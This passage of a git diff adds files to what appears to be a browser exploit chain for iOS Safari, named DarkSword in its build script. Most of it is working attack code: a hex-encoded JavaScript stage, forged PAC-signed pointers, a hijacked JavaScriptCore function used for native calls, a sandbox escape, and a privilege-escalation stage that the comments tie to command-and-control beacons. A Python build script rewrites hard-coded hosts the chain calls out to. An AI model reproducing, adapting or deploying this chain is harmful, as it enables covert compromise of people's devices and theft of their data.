0x69, 0x20, 0x3c, 0x20, 0x30, 0x78, 0x35, 0x30, 0x6e, 0x3b, 0x20, 0x69, 0x20, 0x2b, 0x3d, 0x20, 0x30, 0x78, 0x38, 0x6e, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x3d, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x20, 0x2b, 0x20, 0x69, 0x29, 0x2e, 0x68, 0x65, 0x78, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x28, 0x29, 0x20, 0x2b, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x3d, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x28, 0x22, 0x30, 0x78, 0x22, 0x20, 0x2b, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x3d, 0x20, 0x67, 0x65, 0x74, 0x5f, 0x62, 0x69, 0x67, 0x69, 0x6e, 0x74, 0x5f, 0x61, 0x64, 0x64, 0x72, 0x28, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x53, 0x59, 0x53, 0x4c, 0x4f, 0x47, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x28, 0x22, 0x73, 0x79, 0x73, 0x6c, 0x6f, 0x67, 0x22, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x70, 0x63, 0x2c, 0x20, 0x2e, 0x2e, 0x2e, 0x61, 0x72, 0x67, 0x73, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x75, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x28, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x70, 0x63, 0x2c, 0x20, 0x70, 0x63, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x28, 0x6c, 0x65, 0x74, 0x20, 0x69, 0x64, 0x78, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x3c, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x28, 0x61, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x6c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x20, 0x2d, 0x20, 0x31, 0x29, 0x3b, 0x20, 0x69, 0x64, 0x78, 0x2b, 0x2b, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x28, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x38, 0x6e, 0x2c, 0x20, 0x61, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x5b, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x20, 0x31, 0x6e, 0x5d, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x73, 0x4e, 0x61, 0x4e, 0x28, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x30, 0x78, 0x32, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x77, 0x69, 0x74, 0x68, 0x5f, 0x70, 0x61, 0x63, 0x69, 0x61, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x70, 0x63, 0x2c, 0x20, 0x2e, 0x2e, 0x2e, 0x61, 0x72, 0x67, 0x73, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x70, 0x63, 0x20, 0x3d, 0x20, 0x70, 0x61, 0x63, 0x69, 0x61, 0x28, 0x70, 0x63, 0x2e, 0x6e, 0x6f, 0x50, 0x41, 0x43, 0x28, 0x29, 0x2c, 0x20, 0x30, 0x78, 0x63, 0x32, 0x64, 0x30, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x75, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x28, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x70, 0x63, 0x2c, 0x20, 0x70, 0x63, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x28, 0x6c, 0x65, 0x74, 0x20, 0x69, 0x64, 0x78, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x3c, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x28, 0x61, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x6c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x20, 0x2d, 0x20, 0x31, 0x29, 0x3b, 0x20, 0x69, 0x64, 0x78, 0x2b, 0x2b, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x28, 0x6a, 0x73, 0x76, 0x6d, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x20, 0x2b, 0x20, 0x69, 0x64, 0x78, 0x20, 0x2a, 0x20, 0x38, 0x6e, 0x2c, 0x20, 0x61, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x5b, 0x69, 0x64, 0x78, 0x20, 0x2b, 0x20, 0x31, 0x6e, 0x5d, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x73, 0x4e, 0x61, 0x4e, 0x28, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x75, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x28, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x5f, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x61, 0x72, 0x67, 0x73, 0x5f, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x2b, 0x20, 0x30, 0x78, 0x32, 0x38, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x73, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x66, 0x70, 0x74, 0x72, 0x20, 0x3d, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x28, 0x44, 0x4c, 0x53, 0x59, 0x4d, 0x2c, 0x20, 0x30, 0x78, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x45, 0x6e, 0x2c, 0x20, 0x67, 0x65, 0x74, 0x5f, 0x63, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x28, 0x73, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x29, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x70, 0x61, 0x63, 0x69, 0x61, 0x28, 0x66, 0x70, 0x74, 0x72, 0x2e, 0x6e, 0x6f, 0x50, 0x41, 0x43, 0x28, 0x29, 0x2c, 0x20, 0x30, 0x78, 0x63, 0x32, 0x64, 0x30, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x70, 0x61, 0x63, 0x69, 0x61, 0x5f, 0x62, 0x5f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x70, 0x74, 0x72, 0x2c, 0x20, 0x63, 0x74, 0x78, 0x2c, 0x20, 0x6b, 0x65, 0x79, 0x5f, 0x74, 0x79, 0x70, 0x65, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x75, 0x73, 0x65, 0x5f, 0x61, 0x64, 0x64, 0x72, 0x5f, 0x64, 0x69, 0x76, 0x65, 0x72, 0x73, 0x69, 0x74, 0x79, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x61, 0x64, 0x64, 0x72, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x63, 0x74, 0x78, 0x20, 0x3e, 0x3e, 0x20, 0x31, 0x36, 0x6e, 0x20, 0x21, 0x3d, 0x20, 0x30, 0x6e, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x65, 0x5f, 0x61, 0x64, 0x64, 0x72, 0x5f, 0x64, 0x69, 0x76, 0x65, 0x72, 0x73, 0x69, 0x74, 0x79, 0x20, 0x3d, 0x20, 0x31, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x64, 0x64, 0x72, 0x20, 0x3d, 0x20, 0x63, 0x74, 0x78, 0x20, 0x26, 0x20, 0x30, 0x78, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x74, 0x78, 0x20, 0x3d, 0x20, 0x63, 0x74, 0x78, 0x20, 0x3e, 0x3e, 0x20, 0x34, 0x38, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x28, 0x64, 0x79, 0x6c, 0x64, 0x5f, 0x73, 0x69, 0x67, 0x6e, 0x50, 0x6f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x2c, 0x20, 0x70, 0x74, 0x72, 0x2c, 0x20, 0x61, 0x64, 0x64, 0x72, 0x2c, 0x20, 0x75, 0x73, 0x65, 0x5f, 0x61, 0x64, 0x64, 0x72, 0x5f, 0x64, 0x69, 0x76, 0x65, 0x72, 0x73, 0x69, 0x74, 0x79, 0x2c, 0x20, 0x63, 0x74, 0x78, 0x2c, 0x20, 0x6b, 0x65, 0x79, 0x5f, 0x74, 0x79, 0x70, 0x65, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x70, 0x61, 0x63, 0x69, 0x61, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x70, 0x74, 0x72, 0x2c, 0x20, 0x63, 0x74, 0x78, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x70, 0x61, 0x63, 0x69, 0x61, 0x5f, 0x62, 0x5f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x28, 0x70, 0x74, 0x72, 0x2c, 0x20, 0x63, 0x74, 0x78, 0x2c, 0x20, 0x30, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x70, 0x61, 0x63, 0x69, 0x62, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x70, 0x74, 0x72, 0x2c, 0x20, 0x63, 0x74, 0x78, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x70, 0x61, 0x63, 0x69, 0x61, 0x5f, 0x62, 0x5f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x28, 0x70, 0x74, 0x72, 0x2c, 0x20, 0x63, 0x74, 0x78, 0x2c, 0x20, 0x31, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x78, 0x70, 0x61, 0x63, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x70, 0x74, 0x72, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x78, 0x70, 0x61, 0x63, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x5f, 0x6e, 0x65, 0x77, 0x20, 0x3d, 0x20, 0x70, 0x61, 0x63, 0x69, 0x61, 0x28, 0x78, 0x70, 0x61, 0x63, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x2c, 0x30, 0x78, 0x63, 0x32, 0x64, 0x30, 0x6e, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x28, 0x78, 0x70, 0x61, 0x63, 0x5f, 0x67, 0x61, 0x64, 0x67, 0x65, 0x74, 0x5f, 0x6e, 0x65, 0x77, 0x2c, 0x20, 0x70, 0x74, 0x72, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x4c, 0x4f, 0x47, 0x5f, 0x43, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x73, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x63, 0x61, 0x6c, 0x6c, 0x28, 0x53, 0x59, 0x53, 0x4c, 0x4f, 0x47, 0x2c, 0x20, 0x30, 0x6e, 0x2c, 0x20, 0x73, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x4c, 0x4f, 0x47, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x73, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x73, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x6d, 0x73, 0x67, 0x20, 0x3d, 0x20, 0x73, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5b, 0x5d, 0x5b, 0x6d, 0x73, 0x67, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x4c, 0x4f, 0x47, 0x5f, 0x43, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x28, 0x67, 0x65, 0x74, 0x5f, 0x63, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x28, 0x6d, 0x73, 0x67, 0x29, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x7d, 0x29, 0x28, 0x29, 0x3b, 0x0 + ]); + pe_stage1_js_data = gpuCopyBuffer(read64(addrof(pe_stage1_js_data_array) + 0x10n), BigInt(pe_stage1_js_data_array.length)); + pe_main_js_str = getJS('pe_worker.js'); + pe_main_js_data = get_cstring(pe_main_js_str); + } else { + pe_stage1_js_data = g_pe_stage1_js_data; + pe_main_js_data = g_pe_main_js_data; + pe_post_js_data = g_pe_post_js_data; + } + let pe_stage_1_cfstring = mpd_create_cfstring(pe_stage1_js_data); + let arr = mpd_setup_fcall_jopchain(); + let jsvm_fcall_buff = arr[0]; + let jsvm_fcall_pc = arr[1]; + let jsvm_fcall_args = arr[2]; + mpd_fcall(DLOPEN, mpd_get_cstring("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"), 2n); + let mpd_jsc_class = mpd_objc_getClass(mpd_get_cstring("JSContext")); + let ctx = mpd_objc_alloc_init(mpd_jsc_class); + let isnan_value = mpd_objectForKeyedSubscript(ctx, "isNaN"); + let isnan_func_addr = mpd_read64(isnan_value + 0x8n); + let isnan_executable_addr = mpd_read64(isnan_func_addr + 0x18n); + let isnan_code_ptr = isnan_executable_addr + 0x28n; + mpd_evaluateScript(ctx, pe_stage_1_cfstring); + let unboxed_arr_value = mpd_objectForKeyedSubscript(ctx, "unboxed_arr"); + let unboxed_arr_addr = mpd_read64(unboxed_arr_value + 0x8n); + let boxed_arr_value = mpd_objectForKeyedSubscript(ctx, "boxed_arr"); + let boxed_arr_addr = mpd_read64(boxed_arr_value + 0x8n); + let boxed_arr_buffer = mpd_read64(boxed_arr_addr + 0x8n); + mpd_write64(unboxed_arr_addr + 0x8n, boxed_arr_buffer); + let rw_array_addr = mpd_read64(mpd_objectForKeyedSubscript(ctx, "rw_array") + 0x8n); + let control_array_addr = mpd_read64(mpd_objectForKeyedSubscript(ctx, "control_array") + 0x8n); + mpd_write64(control_array_addr + 0x10n, rw_array_addr + 0x10n); + let rw_array_8_addr = mpd_read64(mpd_objectForKeyedSubscript(ctx, "rw_array_8") + 0x8n); + let control_array_8_addr = mpd_read64(mpd_objectForKeyedSubscript(ctx, "control_array_8") + 0x8n); + mpd_write64(control_array_8_addr + 0x10n, rw_array_8_addr + 0x10n); + let signing_ctx = 0x4911n; + let signed_fcall_addr = mpd_pacib(jsvm_isNAN_fcall_gadget, signing_ctx); + LOG(`[MPD] signed_fcall_addr: ${signed_fcall_addr.hex()}`); + LOG(`[MPD] isnan_code_ptr: ${isnan_code_ptr.hex()}`); + mpd_write64(isnan_code_ptr, signed_fcall_addr); + let new_func_offsets = mpd_objectForKeyedSubscript(ctx, "func_offsets_array"); + let new_func_offsets_addr = mpd_read64(new_func_offsets + 0x8n); + let new_func_offsets_buffer = mpd_read64(new_func_offsets_addr + 0x10n); + pe_marker_buf = new_func_offsets_buffer; + let DLSYM = func_resolve("dlsym").noPAC(); + let idx = 0n; + let js_inputs = mpd_malloc(0x100n); + mpd_write64(js_inputs, pe_stage_1_cfstring); + mpd_write64(js_inputs + 0x8n, 0n); + mpd_write64(new_func_offsets_buffer + idx * 0x8n, pacia(DLSYM.noPAC(), 0xc2d0n)); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, pacia(dyld_signPointer_gadget.noPAC(), 0xc2d0n)); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, js_inputs); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, 0n); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, shared_cache_slide); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, jsvm_fcall_buff); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, jsvm_fcall_pc); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, jsvm_fcall_args); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, _CFObjectCopyProperty); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, load_x1x3x8); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, fcall_14_args_write_x8); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, jsvm_isNAN_fcall_gadget); + idx += 0x1n; + mpd_write64(new_func_offsets_buffer + idx * 0x8n, jsvm_isNAN_fcall_gadget2); + idx += 0x1n; + LOG(`xpac_gadget:${xpac_gadget.hex()}`); + mpd_write64(new_func_offsets_buffer + idx * 0x8n, xpac_gadget); + idx += 0x1n; + // === BEGIN LAB_MPD_CANARY === + // Bisect probe: run a tiny script in MPD *before* the 800KB main eval. + // Channel 1 (no MPD network needed): canary writes 0x42 into + // func_offsets_array[0x2000]; we read it back via mpd_read64 and LOG. + // Default fill is 0xfe, so 0xfe = never ran. (Channel 2 raw-socket ping removed.) + try { + let canary_js = `(function(){ + try { func_offsets_array[0x2000] = 0x42; } catch (e0) {} +})();` + let canary_cfs = mpd_create_cfstring(get_cstring(canary_js)); + mpd_evaluateScript(ctx, canary_cfs); + let canary_mark0 = mpd_read64(new_func_offsets_buffer + 0x2000n) & 0xffn; + let canary_mark1 = mpd_read64(new_func_offsets_buffer + 0x2008n) & 0xffn; + let canary_mark2 = mpd_read64(new_func_offsets_buffer + 0x2010n) & 0xffn; + let canary_step = mpd_read64(new_func_offsets_buffer + 0x2020n) & 0xffn; + let canary_emsg = ""; + for (let q = 0n; q < 3n; q++) { + let qw = mpd_read64(new_func_offsets_buffer + 0x2040n + q * 8n); + for (let b = 0n; b < 8n; b++) { + let ch = Number((qw >> (b * 8n)) & 0xffn); + if (ch !== 0xfe && ch !== 0) canary_emsg += String.fromCharCode(ch); + } + } + LOG(`[MPD] canary: eval=${canary_mark0.toString(16)} net=${canary_mark1.toString(16)} step=${canary_step.toString(16)} cr=${canary_mark2.toString(16)} err=${canary_emsg}`); + } catch (e) { + LOG("[MPD] canary eval failed: " + e); + } + // === END LAB_MPD_CANARY === + try { + mpd_increase_stack_limit(); + LOG("[MPD] stack limit raised for pe_main"); + } catch (eStack) { + LOG("[MPD] stack limit raise failed: " + eStack); + } + let pe_main_cfstring = 0n; + if (pe_main_js_str && pe_main_js_str.length) { + try { + pe_main_cfstring = mpd_build_pe_mutable_cfstring(pe_main_js_str); + } catch (eMut) { + LOG("[MPD] mutable cfstring build err: " + eMut); + pe_main_cfstring = 0n; + } + } + if (!mpd_heap_ptr_ok(pe_main_cfstring)) { + LOG("[MPD] mutable path unavailable — fallback giant CreateWithCString"); + try { pe_main_cfstring = mpd_create_cfstring(pe_main_js_data); } + catch (eCf) { LOG("[MPD] giant cfstring err: " + eCf); pe_main_cfstring = 0n; } + } + LOG(`[MPD] pe_main_cfstring: ${mpd_heap_ptr_ok(pe_main_cfstring) ? pe_main_cfstring.hex() : "null"}`); + if (mpd_heap_ptr_ok(pe_main_cfstring)) { + mpd_evaluateScript_nowait_exit(ctx, pe_main_cfstring); + } else { + LOG("[MPD] no valid pe_main cfstring — skip eval"); + } + LOG("[MPD] pe spawned"); + } + sbx1sbx1_interval = Date.now(); + let sbx1sbx1_succeeded = sbx1sbx1(); + sbx1sbx1_interval = Date.now() - sbx1sbx1_interval; + LOG(`[profiler] Sbx1 EXP bypass took ${exp_bypass_interval} ms`); + if (sbx1sbx1_succeeded) { + LOG(`[profiler] Sbx1 took ${sbx1sbx1_interval} ms`); + } else { + LOG(`[profiler] Sbx1 failed in ${sbx1sbx1_interval} ms`); + } + if (sbx1sbx1_succeeded) { + spawn_pe(); + // pe_worker is evaluated via mpd_evaluateScript_nowait_exit — give MPD time to + // begin PE (fcall_init / runPE / early c2 inject) before tearing down remaker XPC. + // Immediate cancel raced with PE start and left chain "success" with no /beacon. + // 18.6.1+ nui-full createTokens can exceed 45s → 90s settle. + // 18.6.0 lab-slim is fast → 30s (avoid dragging the whole chain). + var __uaSettle = ""; + try { __uaSettle = String(navigator.userAgent || ""); } catch (_ua) {} + var __longSettle = /OS 18_6_[1-9]/.test(__uaSettle) || /OS 18_[7-9]/.test(__uaSettle); + const PE_SETTLE_US = (__longSettle ? 90n : 30n) * 1000n * 1000n; + LOG(`[MPD] pe settle: usleep ${PE_SETTLE_US}us before remaker cancel (long=${__longSettle ? 1 : 0})`); + usleep(PE_SETTLE_US); + LOG("[MPD] pe settle done"); + // Do NOT mpd_read64 pe markers here: while PE is in Phase2/AKS decrypt the + // cross-process read hangs WC → Safari reloads the tab (~minutes later) and + // re-arms a second chain. PE liveness is already visible via pe_mpd /log. + LOG("[MPD] skip pe_main marker read (avoid WC hang / Safari reload)"); + } + LOG("closing remaker_connection: " + remaker_connection); + xpc_connection_cancel(remaker_connection); + LOG("remaker_connection cancel returned"); + LOG = function (msg) { + log('sbx0: ' + msg); + }; + sbx1_end = Date.now(); + LOG("ALL DONE!"); + //exit(0n); +})(); diff --git a/channel-builder-ds/source/stats.json b/channel-builder-ds/source/stats.json new file mode 100644 index 0000000..755e5d2 --- /dev/null +++ b/channel-builder-ds/source/stats.json @@ -0,0 +1 @@ +{"bytes":0,"ok":true,"path":"/stats"} diff --git a/channel-builder-ds/tools/build.py b/channel-builder-ds/tools/build.py new file mode 100644 index 0000000..24b4ca4 --- /dev/null +++ b/channel-builder-ds/tools/build.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""Rewrite DarkSword hosts in source/ and publish to public/next-chain. + +Usage: + python3 tools/build.py + python3 tools/build.py --host 192.168.31.130 --port 8000 + python3 tools/build.py --origin http://192.168.31.130:8000 +""" + +from __future__ import annotations + +import argparse +import shutil +import sys +from pathlib import Path +from urllib.parse import urlparse + +TOOLS = Path(__file__).resolve().parent +BUILDER_ROOT = TOOLS.parent +PROJECT_ROOT = BUILDER_ROOT.parent + +DEFAULT_SOURCE = BUILDER_ROOT / "source" +DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain" +SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"} + + +def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: + return [ + ("https://mh0usocqzi6f46i.com:443", origin), + ("http://mh0usocqzi6f46i.com:443", origin), + ("https://mh0usocqzi6f46i.com", origin), + ("http://one99.vip:80", origin), + ("https://one99.vip:80", origin), + ("http://one99.vip", origin), + 